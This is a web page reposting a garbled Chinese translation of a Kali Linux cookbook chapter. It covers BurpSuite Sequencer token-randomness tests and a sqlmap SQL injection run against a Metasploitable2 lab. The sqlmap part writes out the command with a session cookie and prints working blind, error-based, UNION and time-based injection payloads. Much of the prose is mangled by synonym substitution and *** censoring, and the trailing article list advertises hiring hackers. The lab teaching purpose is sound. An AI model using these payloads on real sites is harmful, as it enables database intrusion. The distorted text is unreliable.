Kali Linux *** 扫描秘笈 第七章 Web 运用扫描仪(三)

访客4年前黑客文章889

创作者:Justin Hutchens

译员:巨龙

协议书:CC BY-NC-SA 4.0

Web 运用会话一般 由会话 ID 标志来维护保养,它由任意或伪随机值构成。出自于这一缘故,偶然性一般 是这种运用的安全性的重要。这一秘笈中,大家会探讨怎么使用 BurpSuite Sequencer 来搜集形成的值,并测试他们的偶然性。

为了更好地应用 BurpSuite 对总体目标实行 Web 运用剖析,你需要有着运作一个或好几个 Web 运用的远程控制系统软件。所出示的事例中,大家应用 Metasploitable2 案例来达到目标。 Metasploitable2 有着多种多样预安裝的系统漏洞 Web 运用,运作在 TCP 80 端口号上。配备 Metasploitable2 的其他信息请参照之一章中的“安裝 Metasploitable2”秘笈。

除此之外,你的 Web 电脑浏览器必须配备来根据 BurpSuite 当地案例 *** 商 Web 总流量。有关将 BurpSuite 作为浏览器 *** 的其他信息,请参照之一章的“配备 BurpSuite”一节。

为了更好地应用 BurpSuite Sequencer,响应务必包括Set-Cookie协议书头,或是其他伪随机数的值,测试必须他们来推送。这能够根据HTTP *** 商历史时间或是在于电脑浏览器的响应阻拦来进行,像那样:

Burp 会全自动应用响应中的全部 Cookie 值添充 Cookie 下拉列表。做为取代,你能应用Custom location字段名,以后点一下Configure按键来特定响应中的一切部位用以测试,像那样:

在明确必须测试的值以后,点一下Start live capture按键,这会逐渐递交很多请求来得到 参数的增加值。这一事例中,Burp 会递交很多请求,并将 PHPSESSID 从请求中除去。这会造成 *** 服务器为每一个请求形成新的会话标志。这样一来,大家就可以得到 样版值,他们能够用以进行 FIPS 测试。FIPS 测试由一系列测试构成,他们会资产评估公司形成的伪随机数的熵。全部这种测试会以图型文件格式展现,使其十分通俗易懂,像那样:

针对高准确度和完全的 FIPS 测试而言,一共必须 20000 个值。可是剖析至少能够以 100 个值来实行。除开实行即时捕捉以外,Manual load标签页能够用以为测试提交或黏贴值的目录。

BurpSuite Sequencer 对伪随机数样版实行很多不一样的数学课评定,依据所生成随机数的熵试着分辨其品质。即时捕捉可用以形成样版值,它根据递交事前结构的请求,并造成 *** 服务器分派新的值。这一般 根据从请求中清除目前Cookie值,进而使响应以新的Set-Cookie协议书头的方式,出示新的会话标志来进行。

Web 运用经常接纳所出示 URL 内的参数。这种参数一般 以 HTTP GET 方式发送给 *** 服务器。假如一切这种参数接着包括在发送给后端开发数据库查询的查看句子中,SQL 引入系统漏洞就很有可能存有。大家会探讨怎么使用 sqlmap 来自动化技术 HTTP GET 方式请求参数的测试。

为了更好地应用 sqlmap 对总体目标实行 Web 运用剖析,你需要有着运作一个或好几个 Web 运用的远程控制系统软件。所出示的事例中,大家应用 Metasploitable2 案例来达到目标。 Metasploitable2 有着多种多样预安裝的系统漏洞 Web 运用,运作在 TCP 80 端口号上。配备 Metasploitable2 的其他信息请参照之一章中的“安裝 Metasploitable2”秘笈。

为了更好地应用 sqlmap 来测试 HTTP GET 方式参数,你需要应用-u参数及其要测试的 URL。这一 URL 应当包括一切 GET 方式参数。除此之外,假如 Web 內容只是根据创建的会话来方式,还必须应用--cookie出示与会话相匹配的 Cookie。

root@KaliLinux:~# sqlmap -u " sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf6b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5

**{CUT}**

sqlmap identified the following injection points with a total of 279 HTTP(s) requests:

--

Place: GET

Parameter: id

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause

Payload: id=-2345' OR (1644=1644) AND 'moHu'='moHu&Submit=y

Type: error-based

Title: MySQL >=5.0 AND error-based - WHERE or HAVING clause

Payload: id=x' AND (SELECT 1537 FROM(SELECT COUNT(*),CONCAT(0x3a6b6f 683a,(SELECT (CASE WHEN (1537=1537) THEN 1 ELSE 0 END)),0x3a696a793a,FLO OR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VHVT'='VHVT&Submit=y

Type: UNION query

Title: MySQL UNION query (NULL) - 2 columns

Payload: id=x' UNION ALL SELECT CONCAT(0x3a6b6f683a,0x7979634f4e716b7 55961,0x3a696a793a),NULL#&Submit=y

Type: AND/OR time-based blind

Title: MySQL

Payload: id=x' AND 5276=BENCHMARK(5000000,MD5(0x704b5772)) AND 'XiQP'='XiQP&Submit=y

--

**{TRUNCATED}** 1234567891011121314151617181920212223242512345678910111213141516171819202122232425

相关文章

Poгnhub的产物司理是个天才

转知乎大咖“温义飞”的动态: 刚刚知道,在全球最大的chengren网站Poгnhub的视频分类里,视频“热度”是根据人们看完它之后关掉网站的比例。我以为这个产物司理真是个天才。 男性在热潮...

如何找正规的黑客网站(黑客怎么找网站漏洞)-黑客侵入了手机的症状

如何找正规的黑客网站(黑客怎么找网站漏洞)-黑客侵入了手机的症状

如何找正规的黑客网站(黑客怎么找网站漏洞)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、...

30岁零基础学黑客速成教程(从0开始学黑客)

30岁零基础学黑客速成教程(从0开始学黑客)

本文导读目录: 1、黑客入门 2、我想学网络攻防技术,(自学) 现在零基础,求如何起步,求步骤,求师傅~~ 3、零基础如何去学习网络攻防 4、怎样速成黑客? 5、黑客知识从哪里学起?(...

2019年京东白条里面的额度可以取现使用吗?需要

2019年京东白条里面的额度可以取现使用吗?需要

东白条作为首款网络消费金融产品,一经推出就成为很多消费者独宠。对于京东来说,2019年算不上是个好年份,之前与腾讯签订的五年合约即将到期,微信购物的一级入口也将停止对京东的免费开放。腾讯这棵大树再难乘...

联通手机号免费领取三天芒果tv会员限量

本文是:联通手机号免费领取三天芒果tv会员数量有限 微信扫码:打开联通手机接码即可获得三天芒果TV会员 每天10点开抢,限量400份,今天如果没有了,等明天10点...

功夫和黑客帝国谁厉害(黑客技术哪国厉害)

功夫和黑客帝国谁厉害(黑客技术哪国厉害)

本文导读目录: 1、李连杰的功夫在武术界到底是什么口碑? 2、极现实的巅峰之作,周星驰的《功夫》,为什么会是星爷最后的巅峰? 3、请问大家看过电影“黑客帝国”和“功夫”的,你们觉不觉得周星驰的...